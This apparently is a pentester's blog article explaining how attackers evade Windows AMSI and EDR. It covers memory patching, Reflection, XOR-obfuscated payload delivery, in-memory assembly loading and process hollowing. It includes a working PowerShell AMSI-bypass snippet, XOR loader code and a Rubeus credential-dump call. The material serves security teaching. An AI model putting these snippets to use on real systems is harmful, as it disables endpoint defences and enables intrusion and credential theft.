Evolution of Malware File Loading or How Hackers Transitioned from File Systems to RAM

15:58
11.02.2026
NEloNik
706

Standard obfuscation no longer protects against security systems. Today, the battle for stealth is fought at the level of system calls and real-time library manipulations. In this article, we will trace the dynamics of evasion development: from classic AMSI patching to modern EDR evasion methods.

Hello, tekkix! My name is Noël, and I am an information security specialist at HEX.TEAM.

This article is dedicated to a deeper analysis of EDR and AMSI, as well as a general overview of the concept of bypassing these security mechanisms. We will examine how low-level memory modification and .NET Reflection work, as well as why XOR encryption with a multi-byte key is still relevant in 2026.

Disclaimer: All actions were performed within the framework of an agreed pentest contract. The material is for educational purposes only.

What is AMSI and how does it work

The popularity and widespread use of scripting programming languages have led to a significant increase in fileless attacks. These attacks are characterized by the absence of malicious files being saved on disk and pose a serious challenge to traditional antivirus solutions based on signature analysis of files. In response to this threat, Microsoft developed and implemented the Antimalware Scan Interface (AMSI) - an open programming interface designed to enhance antivirus solutions' ability to detect malicious code directly in memory, before it executes.

AMSI is an API that allows applications and services to pass scripts, command lines, or other memory buffers for scanning by the antivirus installed on the system. This process occurs before the code is executed by the interpreter. Thus, AMSI deprives attackers of the main advantage of code obfuscation: even if the code is heavily obfuscated or encrypted, it must be deobfuscated and decrypted in memory before execution. It is at this moment that AMSI intercepts the code for analysis.

General scheme of AMSI operation

The principle of AMSI operation is as follows:

An application, such as powershell.exe or a script engine, initializes an AMSI session by loading the amsi.dll library, calling the AmsiInitialize and AmsiOpenSession functions;
Before executing potentially dangerous content, the application calls the key functions AmsiScanString or AmsiScanBuffer, passing the buffer with code to the AMSI provider;
The registered antivirus provider receives this buffer and analyzes it using its signature databases, heuristic analyzers, and behavioral models;
The AMSI provider returns the scanning result to the application (AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_DETECTED). In the case of AMSI_RESULT_DETECTED, code execution may be blocked.

Main AMSI Bypass Mechanisms

There are several ways to bypass AMSI, and during research, it is worth trying several different ones, as the system may have specific patches applied to AMSI, not to mention session blocking when attempting to overwrite certain values in memory. The main methods are presented below.

Memory Modification

Memory modification is a very popular method for bypassing AMSI due to its simplicity, though it is somewhat outdated. The essence of the method lies in directly modifying the executable code of AMSI functions in the process's memory so that it always returns a positive scan result or does not perform the check at all. But there is one nuance. Established EDRs may check the integrity of the library, and upon detecting discrepancies, send alerts to monitoring systems, ultimately resulting in the active terminal session being closed. Therefore, I rarely use this method.

The technical details are as follows. The attacker searches the address space of the current process for loaded libraries, such as amsi.dll or clr.dll in the case of PowerShell. Then, using Win32 API functions such as GetProcAddress, VirtualProtect, and WriteProcessMemory, they find the entry point of a key AMSI function, such as AmsiScanBuffer or AmsiScanString, and modify the first few bytes of that function. The standard patch involves replacing the original instructions with instructions that forcibly return the value AMSI_RESULT_CLEAN or an error that causes the calling side to ignore AMSI.

For example, a typical patch might replace the beginning of the function with:

Using Reflection

If accessing memory is dangerous, one can use the built-in .NET method for overriding private class fields.

The technique of using Reflection in the .NET Framework and PowerShell is a more "high-level" approach compared to direct memory patching. It allows code to inspect and modify its own structure, as well as invoke private methods and fields at runtime.

In PowerShell, the AMSI context is managed through internal classes and static fields. Our main goal when using Reflection is the class System.Management.Automation.AmsiUtils. It contains the fields amsiContext and amsiSession, which are responsible for connecting to the antivirus. If we can overwrite their values, we effectively "break" or deactivate AMSI for the current PowerShell session.

Setting these fields to $null or an incorrect value causes PowerShell to be unable to find or properly initialize the AMSI provider, resulting in no scanning occurring.

Function Hooking and Other Methods

Aside from direct memory manipulation and Reflection, there are a number of other techniques that attackers use to bypass AMSI, such as function hooking methods and logical attacks.

Instead of patching the AMSI function itself, this technique alters the program's execution flow so that calls to AmsiScanBuffer or AmsiScanString are redirected to a function controlled by the attacker. This hooking function can then simply return AMSI_RESULT_CLEAN without calling the original function, or execute some other logic. This can be implemented in several ways:

1) Hardware Breakpoints: By using the processor's debug registers (DR0-DR3), a breakpoint can be set at the beginning of the AMSI function execution. When the exception triggers, the control handler will capture the execution of the AMSI function and return the value and instruction pointer RIP, which simulates a successful completion of the function. This method does not require byte replacement in the .text section of the amsi.dll library, making it stealthy against memory integrity checks.

2) Forced Error Invocation: Some evasion methods focus on creating conditions where AMSI cannot initialize correctly or its context is reset. For example, intentionally creating errors during the AMSI initialization process can lead to its inactivity. This can be achieved through manipulation of global variables or states that AMSI relies on.

3) Obfuscation and Fragmentation: Although AMSI is designed to scan code after deobfuscation, static signatures can still be bypassed if the malicious string or pattern is broken into multiple parts. Instead of using a direct string like "Invoke‑Mimikatz," the attacker can present it as "Invoke‑" + "Mimi" + "katz." The PowerShell interpreter will assemble this string only at runtime, but if the AMSI provider does not have sufficiently sophisticated heuristic analysis, it may not detect the signature before the code is executed. This option can be used alongside other AMSI evasion techniques. For example, using reflection and fragmentation of the request, this command allows disabling AMSI by overwriting the reference to the execution of scanContent with its own function that returns 1.

Example of code execution in the terminal

Thus, it is possible to create a test function with a static method to return the necessary value 1, so that the AMSI methods think everything is clean and safe when our value is replaced. Then, using the reflection method, we can invoke the hidden methods of AmsiUtils. For this purpose, we use minimal fragmentation to avoid being blocked from obtaining process data. The output will be stored in the variable $o. Then we save the information about our created method in the variable $t. Next, using Marshall:Copy, we copy the address of our created method, "overwriting" the addresses of the real AMSI function. The offset [long]8 is a standard offset of 8 bytes for the 64-bit architecture, used to point directly to the executable machine code of the function.

class TrollAMSI{static [int] M([string]$c, [string]$s){return 1}}
$o=[Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls').GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where‑Object Name ‑eq ScanContent
$t = [TrollAMSI].GetMethods() | Where‑Object Name ‑eq 'M'
[System.Runtime.InteropServices.Marshal]::Copy(@([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$t.MethodHandle.Value + [long]8)),0, [long]$o.MethodHandle.Value + [long]8,1)

From the experience of conducting internal pentests, I can say that very different systems are encountered. Sometimes standard evasion methods do not work, but there are a large number of known overlays to scripts, and by understanding their principles, results can be achieved. This chapter described common vectors for bypassing AMSI, and as a methodology, you can use ready-made payloads from https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.

Part 2: Advanced EDR Evasion Techniques

Successfully bypassing AMSI is critically important, but only the first step in the compromise chain. The main problem is EDR (Endpoint Detection and Response) systems, which operate at a deeper level. EDR continuously analyzes the data stream and the behavior of running processes. To bypass this protection mechanism, it is necessary not only to apply content masking methods for the payload but also to conceal the very fact of its transmission.

Obfuscation of the Delivery Pipeline

The first problem arises at the moment of delivering the malicious payload. Direct loading will almost certainly trigger an alert in network monitoring and EDR systems. The classic and most common option is using Base64, but this method does not always work. Many EDRs use script analysis based on entropy (the degree of randomness of data) and pattern analysis. A huge Base64 string has increased entropy and appears unnatural for a legitimate script, while the depth of encoding for successful evasion can reach four consecutive encodings, significantly increasing entropy. In one project, we were able to upload a file with only three nested encodings.

In such cases, a fairly simple overlay can be used to bypass the aforementioned limitations: XOR. When applying exclusive OR, it is also easy to break signatures without altering entropy; however, the problem with using a single-byte XOR is that executable files contain a large number of sequences of zero bytes of varying lengths. When encrypting with a single-byte key, EDR can detect large blocks of repeating bytes and can easily extract the key by determining the most frequently occurring byte in the file.

To solve this problem, it is advisable to use a multi-byte key or the Vigenère cipher in the context of XOR. Such an implementation will blur patterns and complicate detection.

Here is an example of encryption:

Example of encryption execution in the terminal

$OriginalPayload = [System.Text.Encoding]::UTF8.GetBytes(«Test payload that simulates a binary file»)
$Key = [System.Text.Encoding]::UTF8.GetBytes(“MySuperSecretMultiByteKey123”)
$EncryptedBytes = New‑Object Byte[] $OriginalPayload.Length
for ($i = 0; $i ‑lt $OriginalPayload.Length; $i++) {
  $EncryptedBytes[$i] = $OriginalPayload[$i] ‑bxor $Key[$i% $Key.Length]
}
$Base64Payload = [Convert]::ToBase64String($EncryptedBytes)
Write‑Host $Base64Payload

To deliver the payload to the target system, we will decrypt it using the same logic:

Example of decryption execution in the terminal

$Blob = “base64XorString” 
$Key = [System.Text.Encoding]::UTF8.GetBytes(“MySuperSecretMultiByteKey123”)
$EncryptedBytes = [Convert]::FromBase64String($Blob)
$DecodedBytes = New‑Object Byte[] $EncryptedBytes.Length
for ($i = 0; $i ‑lt $EncryptedBytes.Length; $i++) {
  $DecodedBytes[$i] = $EncryptedBytes[$i] ‑bxor $Key[$i% $Key.Length]
}
$ResultString = [System.Text.Encoding]::UTF8.GetString($DecodedBytes)
Write‑Host $ResultString

In-Memory Execution

Here we have reached the most important subtopic of the article. This method is what we use most often because if a file even slightly "touches" the disk, it will definitely remain in logs or trigger antivirus or EDR. Modern EDRs use various memory analyzers and event telemetry to search for anomalies to protect against such types of attacks.

As discussed above, PowerShell is a shell over the .NET Runtime and, as a result, provides a legitimate mechanism for loading compiled assemblies from a byte array:

System.Reflection.Assembly]::Load()

This method takes a byte array representing a compiled .NET assembly. This assembly can be executed immediately without the need to save it to disk.

In general, calling this method is sufficient to bypass not very securely configured systems; however, modern EDRs have learned to scan the stream of events generated through the ETW (Event Tracking for Windows) system. Simply put, when .NET code is running, the Microsoft-Windows-DotNETRuntime provider can send events containing information about the assembly loading, including its name and flags. EDR can analyze this event and detect the absence of a source on disk, which can be classified as an anomaly. This limitation can also be bypassed in various ways similar to bypassing AMSI, such as by patching the EtwEventWrite function so that it does not send data to the kernel but only returns 0.

Here is a generalized example of loading assemblies into memory:

$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String(“aa...”))
[Rubeus.Program]::Main(“dump /user:administrator”.Split())

As we can see, a base64 encoded executable file is loaded with a subsequent call to the main function.

Process Hollowing

If the execution of code in the process powershell.exe raised suspicions with EDR, leading to a forced session termination, it is worth trying the Process Hollowing technique, but one must be extremely cautious and not modify processes that are necessary for the stable operation of the system. In some cases, EDR may interrupt any attempt to substitute memory, which will terminate the process. Therefore, be careful and do not set up servers for clients.

This technique involves code injection, where the attacker creates a new instance of a legitimate process in a "frozen" state, then completely replaces its virtual address space with their malicious code and "unfreezes" it. In the task manager and for basic monitoring tools, the process will not raise any suspicions at all.

Initially, the attacker creates a process by calling CreateProcess with the CREATE_SUSPENDED flag, which prevents the process from executing until the ResumeThread function is called. Then it is necessary to free the memory occupied by the legitimate code, which can be achieved using NtUnmapViewOfSection(hProcess, BaseAddress); the base address itself can be determined by reading the PEB ImageBaseAddress. Clearing the memory can be very noisy for EDR systems because legitimate processes do not often call NtUnmapViewOfSection for themselves. Then, using VirtualAllocEx, new memory is allocated containing the payload. The final stage is updating the thread context by modifying the registers followed by starting the process.

This attack is quite difficult. After its publication, EDR learned not only to look at the name of the running process but also to check the conformity of the process's memory contents with the attached file on disk, as well as to check the type of memory stored in the VAD (Virtual Address Descriptor) structure: legitimate processes have a memory type of MEM_IMAGE, while after modification, the memory changes its type to MEM_PRIVATE.

The analysis of methods for bypassing protection systems will continue in the future, and we cannot rule out that new bypass methods will be based on already known techniques. I would also note that not long ago, to load a malicious file, it was enough to obfuscate the code and change the signatures; however, at present, the success of an attack lies through extremely low-level vectors. Very often in the company's projects, we encountered various overlays on protective mechanisms, and it was precisely these different bypass techniques that allowed us to advance further in conducting pentests and, consequently, enhance the protection of clients against future hacks.

The EDR systems themselves have already deeply shifted into the kernel space, but I hope that the most interesting development of these systems will come from applying machine learning models for behavioral analysis, which can aggregate and combine all activity of the current computer session and highlight seemingly legitimate actions in a single attack chain, with the application of appropriate measures.

However, theoretical knowledge about memory patching and bypassing filters gains true value only in the context of a real attack. To see how these methods work in conjunction with exploiting software vulnerabilities, you can read our previous article, which has a more practical focus!

By the way, you can now follow the news from HEX.TEAM in the TG channel.

Thank you for your time and good luck applying the knowledge gained in practice!